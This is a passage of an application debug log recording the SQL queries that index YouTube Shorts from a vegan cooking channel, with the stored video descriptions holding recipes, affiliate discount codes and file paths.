🥚\n1 block firm or extra firm tofu, pressed for at least 30 minutes\n¼ cup vegan mayo\n3 tbsp sweet green relish\n2 tbsp dijon mustard\n1 tsp nutritional yeast\n1 tsp garlic powder\n½ tsp ground turmeric (for eggy colour)\n½ black salt (kala namak, gives it eggy flavour)\nblack pepper to taste\n\nCrumble the pressed block of tofu into a large bowl using your hands, ensuring the pieces are small. Add all remaining ingredients to the tofu and stir everything well until it's a well combined mixture. Ensure all the sauces and spices coat each little piece of tofu.\nEnjoy in sandwiches, wraps, salads, crackers or on its own!\n\nPlease LIKE this video if you found it useful and SUBSCRIBE to Steamy Vegan Kitchen to always be the first to see all my new videos!", "Vegan Egg Salad DONE RIGHT 🤤 👍 #shorts #youtubeshorts", "ae7c8dd9-6169-4790-873c-b13d61b83dc2", 1, [], 47, false, "L0Qf87wnSqE", "https://www.youtube.com/shorts/L0Qf87wnSqE", 159, "/downloads/downloads/alec/Steamy Vegan/2023-05-20 Vegan Egg Salad DONE RIGHT 🤤 👍 #shorts #youtubeshorts/Vegan Egg Salad DONE RIGHT 🤤 👍 #shorts #youtubeshorts [L0Qf87wnSqE].NA", false, false, true, 1, ~U[2023-05-20 15:41:42Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "I love vegan egg salad and it's the perfect protein packed lunch or afternoon snack. This vegan egg salad recipe uses tofu and black salt to make it the perfect copycat.\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nVEGAN EGG SALAD 🥚\n1 block firm or extra firm tofu, pressed for at least 30 minutes\n¼ cup vegan mayo\n3 tbsp sweet green relish\n2 tbsp dijon mustard\n1 tsp nutritional yeast\n1 tsp garlic powder\n½ tsp ground turmeric (for eggy colour)\n½ black salt (kala namak, gives it eggy flavour)\nblack pepper to taste\n\nCrumble the pressed block of tofu into a large bowl using your hands, ensuring the pieces are small. Add all remaining ingredients to the tofu and stir everything well until it's a well combined mixture. Ensure all the sauces and spices coat each little piece of tofu.\nEnjoy in sandwiches, wraps, salads, crackers or on its own!\n\nPlease LIKE this video if you found it useful and SUBSCRIBE to Steamy Vegan Kitchen to always be the first to see all my new videos!", "Vegan Egg Salad DONE RIGHT 🤤 👍 #shorts #youtubeshorts", 1, 47, false, "L0Qf87wnSqE", "https://www.youtube.com/shorts/L0Qf87wnSqE", "/downloads/downloads/alec/Steamy Vegan/2023-05-20 Vegan Egg Salad DONE RIGHT 🤤 👍 #shorts #youtubeshorts/Vegan Egg Salad DONE RIGHT 🤤 👍 #shorts #youtubeshorts [L0Qf87wnSqE].NA", true, ~U[2023-05-20 15:41:42Z]] 20:31:09.719 [debug] QUERY OK source="sources" db=0.7ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.721 [debug] QUERY OK source="media_items" db=1.9ms idle=6.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-18 15:12:00Z], 1] 20:31:09.722 [debug] QUERY OK source="media_items" db=0.8ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["QUICK PICKLED JALAPEÑOS! 🥵 a deliciously spicy and crunchy topping for almost ANYTHING including tacos, burgers, sandwiches, salads and more! 🙌🏻\nAll you need to make your own Pickled Jalapeños are FIVE ✋🏻 simple ingredients that you already have in your kitchen! \n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nFresh jalapeños 🌶️ \nWater 💧 \nVinegar\nSalt\nSugar\n\n\n#steamyvegankitchen #pickle #jalapeños #pickledjalapeños #quickpickles #quickpickle #pickleseason #homemadepickles #picklespicklespickles #spicy #hotpeppers #summerrecipes #easyrecipes #eatplantsnotanimals", "Quick Pickled JALAPEÑOS! 🌶️", "8449e967-490d-41f1-89d9-acb49cd25a84", 1, [], 30, false, "lpNXfcVAuR0", "https://www.youtube.com/shorts/lpNXfcVAuR0", 160, "/downloads/downloads/alec/Steamy Vegan/2023-05-18 Quick Pickled JALAPEÑOS! 🌶️/Quick Pickled JALAPEÑOS! 🌶️ [lpNXfcVAuR0].NA", false, false, true, 2, ~U[2023-05-18 15:12:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "QUICK PICKLED JALAPEÑOS! 🥵 a deliciously spicy and crunchy topping for almost ANYTHING including tacos, burgers, sandwiches, salads and more! 🙌🏻\nAll you need to make your own Pickled Jalapeños are FIVE ✋🏻 simple ingredients that you already have in your kitchen! \n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nFresh jalapeños 🌶️ \nWater 💧 \nVinegar\nSalt\nSugar\n\n\n#steamyvegankitchen #pickle #jalapeños #pickledjalapeños #quickpickles #quickpickle #pickleseason #homemadepickles #picklespicklespickles #spicy #hotpeppers #summerrecipes #easyrecipes #eatplantsnotanimals", "Quick Pickled JALAPEÑOS! 🌶️", 1, 30, false, "lpNXfcVAuR0", "https://www.youtube.com/shorts/lpNXfcVAuR0", "/downloads/downloads/alec/Steamy Vegan/2023-05-18 Quick Pickled JALAPEÑOS! 🌶️/Quick Pickled JALAPEÑOS! 🌶️ [lpNXfcVAuR0].NA", true, ~U[2023-05-18 15:12:00Z]] 20:31:09.723 [debug] QUERY OK source="sources" db=0.7ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.726 [debug] QUERY OK source="media_items" db=2.3ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-15 15:58:04Z], 1] 20:31:09.727 [debug] QUERY OK source="media_items" db=0.7ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nThe best protein brownies! They're vegan, gluten-free and DELISH!\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nMusic by Mark Generous - Orange And Pomegranate - https://thmatc.co/?l=B521F325", "THE BEST PROTEIN BROWNIES! Vegan, gluten-free #youtubeshorts #shorts", "73f45ea5-d3c7-4f3a-8057-a4de1024807e", 1, [], 41, false, "IEaKiyiZNxA", "https://www.youtube.com/shorts/IEaKiyiZNxA", 161, "/downloads/downloads/alec/Steamy Vegan/2023-05-15 THE BEST PROTEIN BROWNIES! Vegan, gluten-free #youtubeshorts #shorts/THE BEST PROTEIN BROWNIES! Vegan, gluten-free #youtubeshorts #shorts [IEaKiyiZNxA].NA", false, false, true, 1, ~U[2023-05-15 15:58:04Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nThe best protein brownies! They're vegan, gluten-free and DELISH!\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nMusic by Mark Generous - Orange And Pomegranate - https://thmatc.co/?l=B521F325", "THE BEST PROTEIN BROWNIES! Vegan, gluten-free #youtubeshorts #shorts", 1, 41, false, "IEaKiyiZNxA", "https://www.youtube.com/shorts/IEaKiyiZNxA", "/downloads/downloads/alec/Steamy Vegan/2023-05-15 THE BEST PROTEIN BROWNIES! Vegan, gluten-free #youtubeshorts #shorts/THE BEST PROTEIN BROWNIES! Vegan, gluten-free #youtubeshorts #shorts [IEaKiyiZNxA].NA", true, ~U[2023-05-15 15:58:04Z]] 20:31:09.729 [debug] QUERY OK source="sources" db=1.2ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.731 [debug] QUERY OK source="media_items" db=1.8ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-13 14:17:52Z], 1] 20:31:09.732 [debug] QUERY OK source="media_items" db=0.9ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nPROTEIN 💪🏼 FUDGE BARS / vegan, gluten-free, out of this world delicious!\n\nSatisfy a sweet tooth AND have a high-protein snack? Sounds like you can have your fudge and eat it too. 😉\n\nINGREDIENTS: \n1 jar (375g) nut or seed butter\n1/2 cup coconut oil\n1 bar (100g) dark chocolate, melted\n1/2 cup hemp hearts\n1 cup plant-based protein powder\n1 tsp vanilla\n1/4 cup maple syrup\n\n1. Add the coconut oil to a saucepan and let it melt on medium heat. Once it’s mostly melted add your nut or seed butter.\n2. Pour in the maple syrup and continue to frequently stir the mixture on medium heat so that the nut butter doesn’t burn. Once your mixture has melted into a liquid, turn off the heat.\n3. Add the vanilla extract, protein powder, and hemp seeds and combine until it’s a completely uniform mixture. A wooden spoon is best!\n4. Line a 9x9” square tin with parchment paper. Carefully spoon out the (now very thick) nut butter mixture into the tin. Press the mixture into the tin with your wooden spoon until it’s in a smooth even layer, and set it aside.\n5. Pour the melted chocolate over your protein bar mixture and from there just spread it out in an even layer with the back of a spoon, ensuring the entire base is covered.\n6. Garnish with a sprinkle of flakey sea salt and place the tin in the fridge for at least 2 hours to set.\nSlice into bars and enjoy!\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\n\nMusic by Mark Generous - Meganne - https://thmatc.co/?l=EB798C7A", "PROTEIN 💪🏻 FUDGE BARS — vegan, gluten-free, deadly good #youtubeshorts #shorts", "f2494356-532f-49de-b395-6f656d568fa3", 1, [], 36, false, "lW8tQyiwRQ4", "https://www.youtube.com/shorts/lW8tQyiwRQ4", 162, "/downloads/downloads/alec/Steamy Vegan/2023-05-13 PROTEIN 💪🏻 FUDGE BARS — vegan, gluten-free, deadly good #youtubeshorts #shorts/PROTEIN 💪🏻 FUDGE BARS — vegan, gluten-free, deadly good #youtubeshorts #shorts [lW8tQyiwRQ4].NA", false, false, true, 1, ~U[2023-05-13 14:17:52Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nPROTEIN 💪🏼 FUDGE BARS / vegan, gluten-free, out of this world delicious!\n\nSatisfy a sweet tooth AND have a high-protein snack? Sounds like you can have your fudge and eat it too. 😉\n\nINGREDIENTS: \n1 jar (375g) nut or seed butter\n1/2 cup coconut oil\n1 bar (100g) dark chocolate, melted\n1/2 cup hemp hearts\n1 cup plant-based protein powder\n1 tsp vanilla\n1/4 cup maple syrup\n\n1. Add the coconut oil to a saucepan and let it melt on medium heat. Once it’s mostly melted add your nut or seed butter.\n2. Pour in the maple syrup and continue to frequently stir the mixture on medium heat so that the nut butter doesn’t burn. Once your mixture has melted into a liquid, turn off the heat.\n3. Add the vanilla extract, protein powder, and hemp seeds and combine until it’s a completely uniform mixture. A wooden spoon is best!\n4. Line a 9x9” square tin with parchment paper. Carefully spoon out the (now very thick) nut butter mixture into the tin. Press the mixture into the tin with your wooden spoon until it’s in a smooth even layer, and set it aside.\n5. Pour the melted chocolate over your protein bar mixture and from there just spread it out in an even layer with the back of a spoon, ensuring the entire base is covered.\n6. Garnish with a sprinkle of flakey sea salt and place the tin in the fridge for at least 2 hours to set.\nSlice into bars and enjoy!\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\n\nMusic by Mark Generous - Meganne - https://thmatc.co/?l=EB798C7A", "PROTEIN 💪🏻 FUDGE BARS — vegan, gluten-free, deadly good #youtubeshorts #shorts", 1, 36, false, "lW8tQyiwRQ4", "https://www.youtube.com/shorts/lW8tQyiwRQ4", "/downloads/downloads/alec/Steamy Vegan/2023-05-13 PROTEIN 💪🏻 FUDGE BARS — vegan, gluten-free, deadly good #youtubeshorts #shorts/PROTEIN 💪🏻 FUDGE BARS — vegan, gluten-free, deadly good #youtubeshorts #shorts [lW8tQyiwRQ4].NA", true, ~U[2023-05-13 14:17:52Z]] 20:31:09.733 [debug] QUERY OK source="sources" db=1.0ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.736 [debug] QUERY OK source="media_items" db=2.2ms idle=6.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-12 14:58:43Z], 1] 20:31:09.737 [debug] QUERY OK source="media_items" db=1.0ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It's easier than you think to make a vegan gluten-free pie crust! No weird or expensive ingredients and it turns out amazing every time.\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/complement-organic-vegan-plant-based-protein-unflavored?aff=578\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle", "How to make VEGAN GLUTEN-FREE PIE CRUST! 🥧", "ac75a5b8-2946-4570-934e-66015ae4ebf1", 1, [], 38, false, "5Wb4Ul_0JIU", "https://www.youtube.com/shorts/5Wb4Ul_0JIU", 163, "/downloads/downloads/alec/Steamy Vegan/2023-05-12 How to make VEGAN GLUTEN-FREE PIE CRUST! 🥧/How to make VEGAN GLUTEN-FREE PIE CRUST! 🥧 [5Wb4Ul_0JIU].NA", false, false, true, 1, ~U[2023-05-12 14:58:43Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "It's easier than you think to make a vegan gluten-free pie crust! No weird or expensive ingredients and it turns out amazing every time.\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/complement-organic-vegan-plant-based-protein-unflavored?aff=578\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle", "How to make VEGAN GLUTEN-FREE PIE CRUST! 🥧", 1, 38, false, "5Wb4Ul_0JIU", "https://www.youtube.com/shorts/5Wb4Ul_0JIU", "/downloads/downloads/alec/Steamy Vegan/2023-05-12 How to make VEGAN GLUTEN-FREE PIE CRUST! 🥧/How to make VEGAN GLUTEN-FREE PIE CRUST! 🥧 [5Wb4Ul_0JIU].NA", true, ~U[2023-05-12 14:58:43Z]] 20:31:09.738 [debug] QUERY OK source="sources" db=0.4ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.739 [debug] QUERY OK source="media_items" db=1.6ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-11 21:59:19Z], 1] 20:31:09.742 [debug] QUERY OK source="media_items" db=0.9ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Strawberry 🍓 Rhubarb Pie 🥧 VEGAN, GLUTEN-FREE! ✨ it’s the most wonderful time of the year! \n\nLate spring and early summer is the season for STRAWBERRY RHUBARB EVERYTHING! And this pie does not disappoint. 🤩 The crust is tender, flakey with just enough chew, and the fruit filling is perfectly sweet and tart ♥️ \n\nFULL RECIPE VIDEO ➡️ https://youtu.be/42Ra2CeeUM8\nRECIPE BLOG ➡️ https://steamyvegankitchen.com/strawberry-rhubarb-pie/#wprm-recipe-container-1972\n\nFILLING 🍓\nFresh strawberries \n2 stalks rhubarb \nMaple syrup\nVanilla extract \nTapioca starch \nSalt\n\nCRUST 🥧 \nAlmond flour \nBrown rice flour \nCoconut sugar + agave syrup \nFlax eggs \nBaking powder \nAvocado oil \n\n#strawberryseason #strawberryrhubarb #strawberryrhubarbpie #vegandesserts #glutenfreedesserts #veganglutenfree #veganglutenfreerecipes #veganglutenfreebaking #pie #summerrecipe #steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #veganeats #vegan #veganfoodshare #veganfood #veganrecipes #glutenfree #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #easyvegan #glutenfreelife #vegansofig #feedfeedvegan #feedfeedglutenfree\n\nMusic by Mr. Jello - Summer Sunday - https://thmatc.co/?l=046DFC48", "Strawberry 🍓 Rhubarb Pie! 🥧 VEGAN + GLUTEN-FREE recipe!", "5c8a7381-c58b-4def-8e43-9176d99abf34", 1, [], 35, false, "Q0bK5NsmpdY", "https://www.youtube.com/shorts/Q0bK5NsmpdY", 164, "/downloads/downloads/alec/Steamy Vegan/2023-05-11 Strawberry 🍓 Rhubarb Pie! 🥧 VEGAN + GLUTEN-FREE recipe!/Strawberry 🍓 Rhubarb Pie! 🥧 VEGAN + GLUTEN-FREE recipe! [Q0bK5NsmpdY].NA", false, false, true, 2, ~U[2023-05-11 21:59:19Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Strawberry 🍓 Rhubarb Pie 🥧 VEGAN, GLUTEN-FREE! ✨ it’s the most wonderful time of the year! \n\nLate spring and early summer is the season for STRAWBERRY RHUBARB EVERYTHING! And this pie does not disappoint. 🤩 The crust is tender, flakey with just enough chew, and the fruit filling is perfectly sweet and tart ♥️ \n\nFULL RECIPE VIDEO ➡️ https://youtu.be/42Ra2CeeUM8\nRECIPE BLOG ➡️ https://steamyvegankitchen.com/strawberry-rhubarb-pie/#wprm-recipe-container-1972\n\nFILLING 🍓\nFresh strawberries \n2 stalks rhubarb \nMaple syrup\nVanilla extract \nTapioca starch \nSalt\n\nCRUST 🥧 \nAlmond flour \nBrown rice flour \nCoconut sugar + agave syrup \nFlax eggs \nBaking powder \nAvocado oil \n\n#strawberryseason #strawberryrhubarb #strawberryrhubarbpie #vegandesserts #glutenfreedesserts #veganglutenfree #veganglutenfreerecipes #veganglutenfreebaking #pie #summerrecipe #steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #veganeats #vegan #veganfoodshare #veganfood #veganrecipes #glutenfree #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #easyvegan #glutenfreelife #vegansofig #feedfeedvegan #feedfeedglutenfree\n\nMusic by Mr. Jello - Summer Sunday - https://thmatc.co/?l=046DFC48", "Strawberry 🍓 Rhubarb Pie! 🥧 VEGAN + GLUTEN-FREE recipe!", 1, 35, false, "Q0bK5NsmpdY", "https://www.youtube.com/shorts/Q0bK5NsmpdY", "/downloads/downloads/alec/Steamy Vegan/2023-05-11 Strawberry 🍓 Rhubarb Pie! 🥧 VEGAN + GLUTEN-FREE recipe!/Strawberry 🍓 Rhubarb Pie! 🥧 VEGAN + GLUTEN-FREE recipe! [Q0bK5NsmpdY].NA", true, ~U[2023-05-11 21:59:19Z]] 20:31:09.743 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.745 [debug] QUERY OK source="media_items" db=2.1ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-10 15:02:00Z], 1] 20:31:09.747 [debug] QUERY OK source="media_items" db=1.1ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan chicken salad sandwich recipe is out of this WORLD delicious. It's vegan and gluten-free, takes minimal effort to prep and requires only a few budget-friendly fridge staples!\n\nThis recipe uses SOY CURLS, which in case you've never heard of them, are basically the Chicken of the Plant World (as I lovingly refer to them as). They're super high in protein (11g per serving!), have a deliciously similar texture to chicken/meat, and absorb flavours like a beast!\n\nCheck out the full recipe video here! ➡️ https://youtu.be/_DJuoNkAa4Y\n\nDon't forget to subscribe for more weekly vegan and gluten free recipes!!!", "Vegan Chicken Salad Recipe 😋 #shorts", "437caa5a-3021-46e6-8094-a598b005abfc", 1, [], 36, false, "CHxaCSIFEM4", "https://www.youtube.com/shorts/CHxaCSIFEM4", 165, "/downloads/downloads/alec/Steamy Vegan/2023-05-10 Vegan Chicken Salad Recipe 😋 #shorts/Vegan Chicken Salad Recipe 😋 #shorts [CHxaCSIFEM4].NA", false, false, true, 1, ~U[2023-05-10 15:02:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This vegan chicken salad sandwich recipe is out of this WORLD delicious. It's vegan and gluten-free, takes minimal effort to prep and requires only a few budget-friendly fridge staples!\n\nThis recipe uses SOY CURLS, which in case you've never heard of them, are basically the Chicken of the Plant World (as I lovingly refer to them as). They're super high in protein (11g per serving!), have a deliciously similar texture to chicken/meat, and absorb flavours like a beast!\n\nCheck out the full recipe video here! ➡️ https://youtu.be/_DJuoNkAa4Y\n\nDon't forget to subscribe for more weekly vegan and gluten free recipes!!!", "Vegan Chicken Salad Recipe 😋 #shorts", 1, 36, false, "CHxaCSIFEM4", "https://www.youtube.com/shorts/CHxaCSIFEM4", "/downloads/downloads/alec/Steamy Vegan/2023-05-10 Vegan Chicken Salad Recipe 😋 #shorts/Vegan Chicken Salad Recipe 😋 #shorts [CHxaCSIFEM4].NA", true, ~U[2023-05-10 15:02:00Z]] 20:31:09.748 [debug] QUERY OK source="sources" db=0.8ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.750 [debug] QUERY OK source="media_items" db=1.8ms idle=7.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-09 18:45:02Z], 1] 20:31:09.752 [debug] QUERY OK source="media_items" db=0.9ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, 